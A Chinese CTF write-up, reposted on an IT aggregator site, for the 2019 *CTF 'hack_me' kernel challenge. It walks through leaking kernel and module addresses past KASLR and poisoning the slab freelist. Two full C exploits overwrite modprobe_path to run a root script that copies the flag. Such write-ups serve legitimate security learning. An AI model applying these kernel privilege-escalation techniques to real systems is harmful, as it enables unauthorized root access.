IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> 2019 *CTF hack_me -> 正文阅读

[网络协议]2019 *CTF hack_me

题目

2019 *CTF hack_me

保护

$ checksec ./hackme.ko
[*] '/home/hnhuangjingyu/hackme/hackme.ko'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x0)
-----------------------------------------------------------------------------------------------
$ strings vmlinux| grep "gcc"
%s version %s (hzshang@ub18) (gcc version 7.3.0 (Ubuntu 7.3.0-27ubuntu1~18.04)) %s
Linux version 4.20.13 (hzshang@ub18) (gcc version 7.3.0 (Ubuntu 7.3.0-27ubuntu1~18.04)) #10 Fri Mar 1 11:53:51 CST 2019
-----------------------------------------------------------------------------------------------
$ cat startvm.sh
qemu-system-x86_64 \
    -m 256M \
    -nographic \
    -kernel bzImage \
    -append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
    -monitor /dev/null \
    -initrd initramfs.cpio \
    -smp cores=4,threads=2 \
    -s \
    -cpu qemu64,smep,smap 2>/dev/null
-----------------------------------------------------------------------------------------------
$ cat rootfs/etc/init.d/rcS
#!/bin/sh

mount -t proc none /proc
mount -t devtmpfs none /dev
mkdir /dev/pts
mount /dev/pts

insmod /home/pwn/hackme.ko
chmod 644 /dev/hackme

echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict

cd /home/pwn
chown -R 1000:1000 .

cd ../..

setsid cttyhack setuidgid 1000 sh

umount /proc
#poweroff -f

  • linux-4.20.13
  • ko只开了nx
  • 内核开启了kaslr、smep、smap

分析

在这里插入图片描述

在这里插入图片描述

思维导图

在这里插入图片描述

实现的功能类似堆题的菜单题

思路

其中offset可以写入负数从而读取堆地址前面的内容,这题其实没有什么代码漏洞,当时还找了挺久的代码逻辑漏洞,发现没有,相同的大小堆块(slab-object)在释放后会重新回到freelist表中,后面申请相同大小的堆块会重新分配出来当时做题目的时候不知道这里概念,虽然研究过slab分配的原理,堆块释放后会重新回到freelist,但是没想到它就放在fd指针处,这里还是得实际调试才能发现到。。。。有点菜。。。

那么就很容易了,题目有kaslr需要泄漏模块地址,在发现modprobe_path方式获取flag后回不去。。其他方法原理掌握了该题的任意读写姿势就都差不多,,,因为要使用modprobe_path所以需要泄漏内核地址

为了方便调试先将kaslr关闭和开启root权限,在申请了一个堆块后

方法声明:

struct buf{
    size_t idx;
    char *buf;
    size_t size;
    size_t offset;
}mem;

int fd;

void add(long idx , char * buf , long size);
void edit(long idx , char * buf , long size, long offset);
void dele(long idx);
void show(long idx , char * buf , long size, long offset);
void loadFoot();
void leak();

main:

//----------------exp-------------------------
add(0,"0",0x100);
//----------------pool地址-------------------------
0xffffffffc0002400│+0x0000   0xffff888000179400 //分配到的slab-obj指针
0xffffffffc0002408│+0x0008   0x0000000000000100 //size
0xffffffffc0002410│+0x0010   0x0000000000000000
0xffffffffc0002418│+0x0018   0x0000000000000000
//----------------内存数据-------------------------
gef?  telescope 0xffff888000179400
0xffff888000179400│+0x0000: 0x257830203e2d0030  →  0x257830203e2d0030
0xffff888000179408│+0x0008: 0x6b6d000a20786c6c  →  0x6b6d000a20786c6c
0xffff888000179410│+0x0010: 0x706d7420726964  →  0x706d7420726964
0xffff888000179418│+0x0018: 0x6863650000000000  →  0x6863650000000000
0xffff888000179420│+0x0020: 0x232720656e2d206f  →  0x232720656e2d206f
0xffff888000179428│+0x0028: 0x68732f6e69622f21  →  0x68732f6e69622f21
0xffff888000179430│+0x0030: 0x2f6e69622f0a2020  →  0x2f6e69622f0a2020
0xffff888000179438│+0x0038: 0x67616c662f207063  →  0x67616c662f207063
0xffff888000179440│+0x0040: 0x6c662f706d742f20  →  0x6c662f706d742f20
0xffff888000179448│+0x0048: 0x69622f0a20206761  →  0x69622f0a20206761
//因为向后只能读取0x100的内存,且后面的0x100内存数据都是字符串数据,所以向前偏移0x100看看数据,如下:
gef?  telescope 0xffff888000179400-0x100
0xffff888000179300│+0x0000: 0xffff888000179378  →  0xffff8880001793f8  →  0x00000000797470 
0xffff888000179308│+0x0008: 0x00000100000000  →  0x00000100000000
0xffff888000179310│+0x0010: 0x00000000000001  →  0x00000000000001
0xffff888000179318│+0x0018: 0x00000000000000  →  0x00000000000000
0xffff888000179320│+0x0020: 0xffff888000179378  →  0xffff8880001793f8  →  0x00000000797470 
0xffff888000179328│+0x0028: 0xffffffff81849ae0  →  0x00000000000000  →  0x00000000000000
0xffff888000179330│+0x0030: 0xffffffff81849ae0  →  0x00000000000000  →  0x00000000000000
//可以看到这里有个内核地址0xffffffff81849ae0

有了内核地址在计算出modprobe_path的偏移即可得到modprobe_path的地址

size_t modprobe_path;

    add(0,"0",0x100);
    size_t buf[0x100 / 8] = {0};
    show(0,buf,sizeof buf,- sizeof buf);//向前读0x100的内存
    for(int i = 0 ;i < sizeof(buf) ; i++){
        if(buf[i] >> 4*8 == 0xffffffff){
            modprobe_path = buf[i] - (0xffffffff81849ae0 - 0xffffffff8183f960);
            printf("kernel -> 0x%llx \n",buf[i]);
            printf("modprobe_path -> 0x%llx \n",modprobe_path);
            break;
        }
    }
}

现在还需要泄漏模块设备地址,因为show对pool[idx]的长度没有限制,那么看看pool里的内容

//可以看到冲偏移为0xc00后的地址开始出现了数据,且有没开kaslr时的模块地址0xffffffffc0000000、0xffffffffc0002000
gef?  telescope 0xffffffffc0002400+0xc00
0xffffffffc0003000│+0x0000: 0x00005500000000  →  0x00005500000000
0xffffffffc0003008│+0x0008: 0x00000000000000  →  0x00000000000000
0xffffffffc0003010│+0x0010: 0x00000000000000  →  0x00000000000000
0xffffffffc0003018│+0x0018: 0x02007400000001  →  0x02007400000001
0xffffffffc0003020│+0x0020: 0xffffffffc0000000  →  0x54415541e5894855  →  0x54415541e5894855
0xffffffffc0003028│+0x0028: 0x0000000000016f  →  0x0000000000016f
0xffffffffc0003030│+0x0030: 0x0800640000000e  →  0x0800640000000e
0xffffffffc0003038│+0x0038: 0xffffffffc0002000  →  0x0000000000003a  →  0x0000000000003a
0xffffffffc0003040│+0x0040: 0x00000000000050  →  0x00000000000050
0xffffffffc0003048│+0x0048: 0x08006400000013  →  0x08006400000013
//而因为show模块读取的数据是一个指针层级关系,所以需要指针指向的地址为模块地址,那么在0xc50处即有这么一块
gef?  telescope 0xffffffffc0002400+0xc50
0xffffffffc0003050│+0x0000: 0xffffffffc0002060  →  0xffffffffc0002180  →  0x00000000000000

那么就可以进行泄漏地址了

size_t modprobe_path , mod_addr;
void leak(){
    add(0,"0",0x100);
    size_t buf[0x100 / 8] = {0};
    show(0,buf,sizeof buf,- sizeof buf);//向前读0x100的内存
    for(int i = 0 ;i < sizeof(buf) ; i++){
        if(buf[i] >> 4*8 == 0xffffffff){
            modprobe_path = buf[i] - (0xffffffff81849ae0 - 0xffffffff8183f960);
            printf("kernel -> 0x%llx \n",buf[i]);
            printf("modprobe_path -> 0x%llx \n",modprobe_path);
            break;
        }
    }
    show(0xc5,buf,8,0);
    mod_addr = buf[0] - (0xffffffffc0002180 - 0xffffffffc0000000);
    printf("mod_addr -> 0x%llx \n",mod_addr);
}
int main(){
  fd = open("dev/hackme",0);
  leak();
}

//---------------------输出-----------------
/ # ./exp
kernel -> 0xffffffff81849ae0
modprobe_path -> 0xffffffff8183f960
mod_addr -> 0xffffffffc0000000

有了目标地址,接下来就是实现任意地址写了,使用的手法就是我上面说的,free->修改fd->malloc->malloc即可得到我们的fake-object

  add(1,"1",0x100);
  add(2,"2",0x100);
//此时pool数据如下:
0xffffffffc0002400│+0x0000   0xffff888000179400 #obj0
0xffffffffc0002408│+0x0008   0x0000000000000100
0xffffffffc0002410│+0x0010   0xffff888000179500 #obj1
0xffffffffc0002418│+0x0018   0x0000000000000100
0xffffffffc0002420│+0x0020   0xffff888000179600 #obj2
0xffffffffc0002428│+0x0028   0x0000000000000100
//此时freelist
  freelist =  0xffff888000179700 → 0xffff888000179800 → 0xffff888000179900 → 0xffff888000179a00 → 0xffff888000179b00 → 0xffff888000179c00 → 0xffff888000179d00
 dele(1);  //放入freelist
//此时pool数据如下:
0xffffffffc0002400│+0x0000   0xffff888000179400
0xffffffffc0002408│+0x0008   0x0000000000000100
0xffffffffc0002410│+0x0010   0x0000000000000000
0xffffffffc0002418│+0x0018   0x0000000000000100
0xffffffffc0002420│+0x0020   0xffff888000179600
0xffffffffc0002428│+0x0028   0x0000000000000100
//此时freelist
   freelist = 0xffff888000179500 → 0xffff888000179700 → 0xffff888000179800 → 0xffff888000179900 → 0xffff888000179a00 → 0xffff888000179b00 → 0xffff888000179c00 → 0xffff888000179d00
//可以看到释放的0xffff888000179500已经进来了,那么就可以进行修改fd了
	size_t buf[2] = {0};
  buf[0] = modprobe_path;
  edit(2,buf,0x100,- 0x100); //向前面写入 也就是 slab-obj - 0x100处,刚好就是上一块heap的地址
//此时的freelist
   freelist = 0xffff888000179500 → 0xffffffff8183f960  →  0x6f6d2f6e6962732f  → 0x6f6d2f6e6962732
//已经被修改成了modprobe_path地址(0xffffffff8183f960)了

再次kmalloc2次即可拿到fake slab-obj

    add(3,"3",0x100);
    add(4,"tmp/exp.sh",0x100);

    system("./tmp/errofile");
    system("cat tmp/flag");
//此时modprobe_path数据
gef?  strings 0xffffffff8183f960
0xffffffff8183f960:	"/tmp/exp.sh"
0xffffffff8183f96c:	"0"
0xffffffff8183f96e:	"kernel -> 0x%llx \n"
0xffffffff8183f981:	"modprobe_path -> 0x%llx \n"
0xffffffff8183f99b:	"mod_addr -> 0x%llx \n"
0xffffffff8183f9b0:	"mkdir tmp"

但是做到这我执行exp后、再执行命令ls、执行错误文件时就发生了内核崩溃,报错地址后是kmem_cache_alloc+0x45处的位置,详细日志如下:

/ # ./tmp/errofile
[    7.116154] general protection fault: 0000 [#1] NOPTI
[    7.118106] CPU: 0 PID: 35 Comm: sh Tainted: G           O      4.20.13 #10
[    7.118923] RIP: 0010:kmem_cache_alloc+0x45/0xc0
[    7.119921] Code: e8 40 86 fe ff 4d 85 ed 74 74 85 c0 75 70 49 8b 4d 00 48 8b 51 08 4c 8b 01 4d 85 c0 74 3c 41 8b 45 20 49 8b 7d 00 48 8d 4a 01 <49> 8b 1c 00 4c 89 c0 48 0f c7 0f 0f 94 c0 90 84 c0 74 d1 41 8b 45

初步判断应该是内核堆结构发生崩溃

然后就是资料查阅开始我以为是我使用modprobe_path有问题,然后参考师傅们的一些exp,改动如下:

int main(){
    loadFoot();
    fd = open("dev/hackme",0);
    leak();
    add(1,"1",0x100);
    add(2,"2",0x100);
    dele(1);  //放入freelist
    size_t buf[2] = {0};
    buf[0] = mod_addr + 0x2400; // 转移到pool地址进行写入
    edit(2,buf,0x100,- 0x100); //向前面写入 也就是 slab-obj - 0x100处,刚好就是上一块heap的地址

    add(3,"3",0x100);
    buf[0] = modprobe_path; 
    buf[1] = 0x100;
    add(4,buf,0x100);
    edit(0,"/tmp/exp.sh\x00",0x10,0);

    system("./tmp/errofile");
    system("cat tmp/flag");
    return 0;
}

但是依旧发生报错。。。。试过了堆块大小为0x10、0x100、0x200都不行,且最后你modprobe_path写入pop的偏移位置必须是没有值的地方,不能覆盖已有堆块,否则会造成内核kmalloc崩溃,那么最后的exp:

#include<stdio.h>


struct buf{
    size_t idx;
    char *buf;
    size_t size;
    size_t offset;
}mem;

int fd;
size_t modprobe_path , mod_addr;

void add(long idx , char * buf , long size);
void edit(long idx , char * buf , long size, long offset);
void dele(long idx);
void show(long idx , char * buf , long size, long offset);
void loadFoot();
void leak();

int main(){
    loadFoot();
    fd = open("dev/hackme",0);
    leak();
    add(1,"1",0x20);
    add(2,"2",0x20);
    dele(1);  //放入freelist
    size_t buf[2] = {0};
    buf[0] = mod_addr + 0x2400+0x90; //pool地址
    edit(2,buf,0x20,- 0x20); //向前面写入 也就是 slab-obj - 0x100处,刚好就是上一块heap的地址

    add(3,"3",0x20);

    buf[0] = modprobe_path;
    buf[1] = 0x20;
    add(4,buf,0x20);
    
    buf[0] = modprobe_path;
    buf[1] = 0x20;
    add(4,buf,0x20);

    edit(9,"/tmp/exp.sh\x00",0x10,0);  //注意编辑的地址处必须是没有数据的地方

    system("./tmp/errofile");
    system("cat tmp/flag");
    return 0;
}
void leak(){
    add(0,"0",0x100);
    size_t buf[0x100 / 8] = {0};
    show(0,buf,sizeof buf,- sizeof buf);//向前读0x100的内存
    for(int i = 0 ;i < sizeof(buf) ; i++){
        if(buf[i] >> 4*8 == 0xffffffff){
            modprobe_path = buf[i] - (0xffffffff81849ae0 - 0xffffffff8183f960);
            printf("kernel -> 0x%llx \n",buf[i]);
            printf("modprobe_path -> 0x%llx \n",modprobe_path);
            break;
        }
    }
    show(0xc5,buf,8,0);
    mod_addr = buf[0] - (0xffffffffc0002180 - 0xffffffffc0000000);
    printf("mod_addr -> 0x%llx \n",mod_addr);
}
void add(long idx , char * buf , long size ){
    mem.idx = idx;
    mem.buf = buf;
    mem.size = size;
    mem.offset = 0;
    ioctl(fd,0x30000,&mem);
}
void edit(long idx , char * buf , long size, long offset){
    mem.idx = idx;
    mem.buf = buf;
    mem.size = size;
    mem.offset = offset;
    ioctl(fd,0x30002,&mem);
}
void dele(long idx ){
    mem.idx = idx;
    ioctl(fd,0x30001,&mem);
}
void show(long idx , char * buf , long size, long offset){
    mem.idx = idx;
    mem.buf = buf;
    mem.size = size;
    mem.offset = offset;
    ioctl(fd,0x30003,&mem);
}


void loadFoot(){
    system("mkdir tmp");
    system("echo -ne '#!/bin/sh  \n/bin/cp /flag /tmp/flag  \n/bin/chmod 777 /tmp/flag' > /tmp/exp.sh \n");  //用于modprobe_path指向的文件
    system("echo -ne '\xff' > /tmp/errofile "); //构造一个错误文件
    system("chmod +x /tmp/exp.sh");
    system("chmod +x /tmp/errofile");
}

执行结果(记得改回权限和kaslr测试!)

/ $ ./exp
kernel -> 0xffffffffb2a49ae0
modprobe_path -> 0xffffffffb2a3f960
mod_addr -> 0xffffffffc01d3000
./tmp/errofile: line 1: ?: not found
*CTF{test}
/ $ 

方式二:

通过mod_tree泄漏模块地址

#include<stdio.h>

struct buf{
    size_t idx;
    char *buf;
    size_t size;
    size_t offset;
}mem;

int fd;
size_t modprobe_path , mod_addr;

void add(long idx , char * buf , long size);
void edit(long idx , char * buf , long size, long offset);
void dele(long idx);
void show(long idx , char * buf , long size, long offset);
void loadFoot();
void leak();

int main(){
    loadFoot();
    fd = open("dev/hackme",0);
    leak();
    add(4,"4",0x20);
    add(5,"5",0x20);
    dele(4);  //放入freelist
    size_t buf[2] = {0};
    buf[0] = mod_addr + 0x2400+0x90; //pool地址
    edit(5,buf,0x20,- 0x20); //向前面写入 也就是 slab-obj - 0x100处,刚好就是上一块heap的地址

    add(6,"6",0x20);

    buf[0] = modprobe_path;
    buf[1] = 0x20;
    add(7,buf,0x20);

    edit(9,"/tmp/exp.sh\x00",0x10,0);  //注意编辑的地址处必须是没有数据的地方

    system("./tmp/errofile");
    system("cat tmp/flag");
    return 0;
}

void leak(){
    add(0,"0",0x100);
    size_t buf[0x100 / 8] = {0};
    show(0,buf,sizeof buf,- sizeof buf);//向前读0x100的内存
    size_t kernel;
    for(int i = 0 ;i < sizeof(buf) ; i++){
        if(buf[i] >> 4*8 == 0xffffffff){
            modprobe_path = buf[i] - (0xffffffff81849ae0 - 0xffffffff8183f960);
            kernel = buf[i];
            printf("kernel -> 0x%llx \n",kernel);
            printf("modprobe_path -> 0x%llx \n",modprobe_path);
            break;
        }
    }
    size_t mod_tree = kernel - (0xffffffff81849ae0 - 0xffffffff81811000);
    add(1,"1",0x100);
    dele(0);
    buf[0] = mod_tree + 0x50;
    edit(1,buf,0x100,- 0x100);
    add(2,"2",0x100);
    add(3,buf,0x100);

    show(3,buf,0x50,- 0x38);
    mod_addr = buf[0];
    printf("mod_tree -> 0x%llx \n",mod_tree);
    printf("mod_addr -> 0x%llx \n",mod_addr);
    dele(1); //手动删除
    dele(2); //必须手动删除,不然会保kfree的错误
}

void add(long idx , char * buf , long size ){
    mem.idx = idx;
    mem.buf = buf;
    mem.size = size;
    mem.offset = 0;
    ioctl(fd,0x30000,&mem);
}
void edit(long idx , char * buf , long size, long offset){
    mem.idx = idx;
    mem.buf = buf;
    mem.size = size;
    mem.offset = offset;
    ioctl(fd,0x30002,&mem);
}
void dele(long idx ){
    mem.idx = idx;
    ioctl(fd,0x30001,&mem);
}
void show(long idx , char * buf , long size, long offset){
    mem.idx = idx;
    mem.buf = buf;
    mem.size = size;
    mem.offset = offset;
    ioctl(fd,0x30003,&mem);
}


void loadFoot(){
    system("mkdir tmp");
    system("echo -ne '#!/bin/sh  \n/bin/cp /flag /tmp/flag  \n/bin/chmod 777 /tmp/flag' > /tmp/
exp.sh \n");  //用于modprobe_path指向的文件
    system("echo -ne '\xff' > /tmp/errofile "); //构造一个错误文件
    system("chmod +x /tmp/exp.sh");
    system("chmod +x /tmp/errofile");
}

执行结果

/ ~ ./exp
kernel -> 0xffffffffa6049ae0
modprobe_path -> 0xffffffffa603f960
mod_tree -> 0xffffffffa6011000
mod_addr -> 0xffffffffc01f4000
./tmp/errofile: line 1: ?: not found
*CTF{test}
/ ~

总结

  • 申请内核内存时尽量小一点,不要破坏其他的内存结构
  • 用于存放modprobe_path指针的地方尽量不要覆盖原数据
  • 尽可能的保护内核内存结构完整
  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-05-09 13:06:47  更:2022-05-09 13:06:58 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/19 8:20:24-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码